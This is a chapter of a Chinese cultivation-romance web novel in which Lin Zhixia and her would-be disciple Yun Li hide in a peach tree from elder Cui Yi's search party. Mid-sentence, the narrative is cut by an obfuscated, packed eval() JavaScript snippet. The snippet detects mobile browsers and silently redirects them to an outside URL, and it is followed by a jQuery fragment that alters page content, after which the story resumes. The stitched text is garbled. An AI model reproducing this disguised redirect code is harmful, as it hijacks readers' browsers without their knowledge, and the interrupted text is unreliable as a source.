2. 暧昧

天芒大陆灵气匮乏,哪怕是一条小得不能再小的灵脉,那也是一块喷香的肥肉,足以令修士们抢得头破血流。


前世林至夏发现云离身上能散发灵气时,她一直以为是他藏了什么宝贝在身上。


出于师徒情谊,她还好心地帮他掩了气息,事后还为自己的不觊觎得意了很久。


现在想想,当时的自己多少有点儿傻。


林至夏假意清了清喉咙,抬手轻轻婆娑下巴,陷入沉思。


这次渡劫失败,天道的百年之期也就到了,但云离体制如此特殊,说不定还能抢救一下。


“我看你骨骼清奇,不如就拜我为师,修习正道如何?”林至夏双手背至身后,微微扬起下巴看向远处,高深莫测道。


前世云离虽然喜欢她,可在修炼面前这些都不是问题,她只要稍微展露一点本性,云离定然不可能再喜欢她。


毕竟真实的她,和原身那种冰山美人相比,差的可不止十万八千里那么远。


自己的问题被无视,云离的脸上闪过一丝失落,但很快又恢复了平静。


他沉默地垂下眼眸,身侧的手指来回轻捻着。


天芒大陆尊师重道,即便是同门师兄妹结为道侣也会被人诟病,他决不能拜她为师,否则今生无望。


林至夏见他许久不说话,心底顿时就有点慌,于是故作轻松地挑眉尾问道:“你不愿意?”


她把尾音拉得又高又长,听起来似乎也有几分不乐意。


云离心底一慌,迅速摇了摇头。


他正纠结要怎么解释,忽然像是察觉到了什么,转头看向旁边:“有人来了。”


林至夏闻言一愣,随即皱眉望向云离转头的方向。


正好看到一群修士朝着他们的方向快速走来,脸上的表情急切又谨慎。


那个为首之人须发皆白,瞧着竟有几分眼熟。


“崔长老,你确定林至夏是在这附近?”一个吊儿郎当的声音响起。


听到“崔长老”三个字,林至夏顿时反应过来,这人是翠平峰的副长老崔义。


“他怎么会在这里?”林至夏小声嘀咕,抬头就见几人已经快要穿过眼前的桃林,她来不及多想,拉着云离就躲进了旁边高大的桃花树里。


桃花树枝繁叶茂,无数的枝桠交错在一起,如同一朵巨大的蘑菇树。


两人并肩站在树枝最密集的地方,手背若有若无的挨在一起,丝丝痒意不时从两人相触的手背传来,让云离控制不住地想要转头看向林至夏。


他试探着将手背贴向林至夏,刚挨得近些,林至夏却突然转身按住他,直接把他吓得头皮发麻,心脏噗咚噗咚狂跳。


林至夏用力捂住云离的口鼻,眼神示意云离不要出声,自己则屏气凝神地注视着下方的崔义等人。


山风吹过,桃树发出沙沙的声响,粉色的花瓣如同花雨一般撒在两人身上,弥漫着浓浓的花香。


粉色的花瓣飘飘扬扬地落在林至夏的肩头,刚好停在那处破损的衣襟处,为她雪白的肌肤天上一层薄红。


云离眼神一暗,喉结上下滚动一下,呼吸陡然加重。


湿热的气息喷在林至夏的手心,她这才反应过来,自己似乎捂得太用力了。


她满脸歉意地抬起头来,却撞进了云离深邃的眼眸里。


那双眸子很漂亮,明亮璀璨,藏着一点点不易被察觉的淡紫。


林至夏不喜欢这个眼神,好似再对视一会儿,就会把她拉回到前世死后的十年光阴里。


“老实点,我可不想被发现。”她踮起脚尖,将嘴唇贴近云离的耳朵,压着声音用气音警告他。


带着冷香的气息在耳郭打了一个转,又顺着云离的脸颊滑进鼻腔,带起一层细细的鸡皮疙瘩。


他微微点头,眼里闪过一抹复杂的情绪。


林至夏见他没有反抗,缓缓地舒出一口浊气,将手上的力道泄了几分,又不放心地把另一只手抵到他的胸口,将他强按到树干上,贴得更紧了一些。


云离的目光再次落到她的肩上,一缕紫金色灵气从他身上溢出,轻轻卷走了那片粉嫩的花瓣。


“崔长老,你不是说人就在这里吗?在哪?!”先前那个吊儿郎当的声音再次响起,像在耳边炸开,带着明显地不耐和愤怒。


林至夏再次屏紧呼吸,身体下意识又往云离身上挤,胸前的柔软用力挤压在云离胸前,她却一点没有察觉到异样。


一股温热的呼吸轻轻拍打在脸上,带着一点桃花的甜腻和山水的清新,林至夏心跳控制不住地加快几分,突然就觉得头顶的温度骤然身高了。


她微微皱眉,悄悄拉开一点两人的距离,底下却又响起那个吊儿郎当的声音:“晏某人可把丑化说在前面,我得不到人,你也休想得到秘宝。”


林至夏的脸上露出疑惑,不明白这些人怎么会认为秘宝在她手上。


这时,一直老实被按的云离突然抬起手来,轻轻地指了指自己。


林至夏微微一愣,随即明白过来。


此前云离来救她时,正好披着七彩祥云,当时秘境的修士都在等着炼化她的肉身,这一幕定然也没有逃过他们的眼睛。


而七彩祥云是秘宝现世的伴生异象,也就是说,在所有修士眼中,她现在不止是一个香馍馍,更是一个加满顶级肉馅的香馍馍。


林至夏无语了,她不过就是想进来搞点灵植去卖,现在连灵植的影都还没见到,自己反而先成了全秘境修士都想采的顶级“灵植”。


她很轻很轻地叹了一口气,用灵力掏出了宗门玉简。


这玉简通体莹润光滑,没有丝毫多余的装饰,弟子外出历练时都会随身携带一枚,只要身处方圆千里之内,弟子都能凭借玉简感知彼此的大概方位。


这玉简一旦被捏碎,千里内的同门都会接收到玉简的准确位置。


林至夏猜测,崔义应该就是利用了这一点,才能这么快找来。


为今之计,只能想办法把玉简和她分开。


“叭”的一个响指声在身侧骤然响起,那清脆的声响在静谧的氛围中格外突兀,吓得林至夏身体一颤,不由自主地向前面倾斜,将上半身更用力地抵在云离的胸口。


刹那间,两人的身躯紧密交叠,彼此都能清楚地感知到对方的温度和轮廓。


“你在干什么?!”林至夏眼皮上翻,凶神恶煞地看向云离。


随着她仰头的动作,如墨的长发轻轻蹭过云离的下巴。


丝丝痒意难以言明,清冷的气息瞬间钻入云


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326243|167638||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


离的鼻腔,令他的呼吸控制不住地变得粗重起来。


云离满脸通红,慌乱地将头撇向旁边,却不料这一动,呼出的热气又正好吹动了林至夏鬓角的几缕黑色发丝。


她终于忍不住心底的烦躁,稍稍提高了音量呵斥云离:“别动”


“不对,林至夏在秘境东边。”


幸好树下的崔义也发出了急切的惊呼,否则定然被人发现。


听到崔义骤然提高的声音,林至夏心里更紧张了,以至于完全没有注意到云离因为她的呵斥,瞳孔的颜色在淡紫和黑亮间闪烁了一下。


此时她正一边仔细留意树下的动静,一边思索崔义为什么会突然改口。


当眼角的余光不小心瞥到旁边时,她才发现宗门玉简不见了。


林至夏下意识看向云离,却见他眉头紧缩,目光深邃而专注地望着自己。


那双黑亮的眼眸里,此刻满满的都是她的影子,仿佛她就是他的全世界。


林至夏没由来地感到一阵心悸,终于发现他们现在的姿势有多暧昧。


她尴尬地想要拉开两人的距离,却突然发现云离的眼眸正透出淡淡的紫色。


她心底顿时一惊,身体不受控制地往后缩,却不料脚下一滑,踩得树枝轻晃几下,身体也瞬间失去平衡,往后仰倒。


“小心!”云离的声音在耳边炸响,紧接着,一只手臂迅速揽住她的腰,稳稳地把她拉了回去。


林至夏还没来得及从惊慌中回神,整个人就已经被云离紧紧地搂入怀中。


这突如其来的亲密,让她整个人都怔住了,心底开始土拨鼠尖叫。


这到底是什么狗血桥段,堂堂无情道老祖,修真界战力前十的她,竟然会站——不——稳?!


更离谱的是,她居然会被刚刚引气入体的云离救下,这真的是丢脸丢到了姥姥家。


“没事吧?”云离的声音听起来有些僵硬,细听之下,还能发现里面轻微的颤抖。


林至夏赶忙点头回应,试图以此来缓解一下自己的尴尬。


手却不忘推开云离,抬头看向他的眼睛。


此时云离的眼底早已没有了刚才的淡紫色光芒,取而代之的是一种复杂而温柔的神色。


“你的眼睛——”林至夏满脸错愕,还没等她说完,云离的眼神却又在转瞬间恢复了平静,仿佛刚才那个眼神也是她的错觉。


“我的眼睛怎么了?”云离一脸疑惑地问道,眼神清澈而深邃,令人捉摸不透。


林至夏眉头轻皱,随即又摇了摇头,或许真是她看错了吧。


前世云离入魔后,眼睛就呈现出一种诡异的紫红色,可现在云离才刚刚化形,不可能会入魔。


云离敏锐地察觉到了林至夏的异样,但他并没有追问,而是小心提醒崔义等人已经离开。


经过刚才的插曲,林至夏显得有些心不在焉,她随意地点点头,率先跳下桃花树。


落地的瞬间,她还习惯性地扯了扯自己破烂的宗服。


云离沉默地望着她的背影,扶在树干上的手指慢慢收紧,指尖抠进粗糙的树皮用力一捏,树皮就被瞬间撕裂。


他缓缓放下手臂,任由尖锐的碎屑从掌间滑落,而后颤巍巍地喊道:“仙长,我下不去。”